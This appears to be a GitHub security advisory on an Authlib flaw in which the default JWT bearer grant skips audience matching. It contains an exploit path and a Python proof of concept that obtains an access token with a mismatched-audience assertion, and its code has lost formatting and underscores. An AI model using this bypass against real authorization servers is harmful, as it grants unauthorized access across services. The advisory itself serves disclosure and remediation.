GHSA-fch4-3c6x-j4gc: Medium severity pip/authlib vulnerability

Description

Summary

Authlib's default RFC 7523 JWT bearer grant leaves getaudiences() empty, so verifyclaims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.

To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.

Affected Entrypoints

- authlib.oauth2.rfc7523.JWTBearerGrant — default getaudiences() returns empty list - authlib.jose.jwt.decode() with claimsoptions for audience validation - authlib.integrations.flaskoauth2.ResourceProtector.validaterequest() when audience checking is enabled

Exploit Path

1. Attacker authenticates to Service A (low-privilege) 2. Authorization server issues JWT with "aud": "https://evil.test/token" 3. Attacker presents this assertion to Service B's token endpoint 4. Service B uses default JWTBearerGrant (getaudiences() = []) 5. verifyclaims() only checks aud exists, not its value 6. Service B issues an access token — audience bypass achieved

Proof of Concept

python #!/usr/bin/env python3 """ Demonstrates that the default JWTBearerGrant accepts JWT assertions whose audience does not match the token endpoint, while a strict audience override correctly rejects them. """ import json import os import sys

from joserfc.jwk import KeySet, OctKey

WRONGAUDIENCE = "https://evil.test/token" EXPECTEDAUDIENCE = "https://provider.test/token" GRANTTYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"

def buildandexercise(strictaudience: bool) -> tuple[int, dict]: from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant # Uses Authlib's own Flask test fixtures from tests.flask.testoauth2.models import Client, User, db from tests.flask.testoauth2.oauth2server import ( createauthorizationserver, createflaskapp, )

class JWTBearerGrant(BaseJWTBearerGrant): def resolveissuerclient(self, issuer): return Client.query.filterby(clientid=issuer).first()

def resolveclientpublickey(self, client): return KeySet([ OctKey.importkey("foo", {"kid": "1"}), OctKey.importkey("bar", {"kid": "2"}), ])

def authenticateuser(self, subject): return None

def hasgrantedpermission(self, client, user): return True

# Only override getaudiences when testing strict mode if strictaudience: def getaudiences(self): return [EXPECTEDAUDIENCE]

app = createflaskapp() os.environ["AUTHLIBINSECURETRANSPORT"] = "true"

with app.appcontext(): db.initapp(app) db.createall()

user = User(username="demo-user") db.session.add(user) db.session.commit()

client = Client( userid=user.id, clientid="client-id", clientsecret="client-secret", ) client.setclientmetadata({ "scope": "profile", "redirecturis": ["https://client.test/authorized"], "granttypes": [GRANTTYPE], }) db.session.add(client) db.session.commit()

server = createauthorizationserver(app) server.registergrant(JWTBearerGrant)

# Sign assertion with WRONG audience assertion = JWTBearerGrant.sign( "foo", issuer="client-id", audience=WRONGAUDIENCE, # <-- Not the expected audience subject=None, header={"alg": "HS256", "kid": "1"}, )

rv = app.testclient().post( "/oauth/token", data={"granttype": GRANTTYPE, "assertion": assertion}, ) body = json.loads(rv.data) db.session.remove() db.dropall() return rv.statuscode, body

def main() -> int: # Test 1: Default grant (no audience enforcement) vulnstatus, vulnbody = buildandexercise(strictaudience=False)

# Test 2: Strict audience grant (correct behavior) strictstatus, strictbody = buildandexercise(strictaudience=True)

result = { "wrongaudience": WRONGAUDIENCE, "expectedaudience": EXPECTEDAUDIENCE, "vulnerablestatus": vulnstatus, "vulnerablebody": vulnbody, "strictstatus": strictstatus, "strictbody": strictbody, } print(json.dumps(result, indent=2, sortkeys=True))

if ( vulnstatus == 200 and "accesstoken" in vulnbody and strictbody.get("error") == "invalidgrant" ): print( "POCSUCCESS: default JWTBearerGrant issued an access token for " "an assertion whose aud did not match the token endpoint, while " "strict audience validation rejected the same assertion." ) return 0

print("POCFAILURE: expected token issuance under default grant " "and invalidgrant under strict audience control.") return 1

if name == "main": raise SystemExit(main())

Observed Result

- Default grant (vulnerable): HTTP 200, accesstoken issued despite aud: "https://evil.test/token" - Strict grant (fixed): HTTP 400, error: "invalidgrant" — correctly rejects mismatched audience - Confirms the default getaudiences() returns empty, so audience validation is effectively skipped

Impact

- Vulnerability Type: CWE-287 — Improper Authentication - An attacker with a valid JWT assertion for any service can use it to obtain tokens from a different service sharing the same signing keys - Particularly dangerous in microservice architectures where services share identity infrastructure - Enables unauthorized access escalation across trust boundaries - The vulnerability is in the default behavior — most integrations won't override getaudiences() --- Credit Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/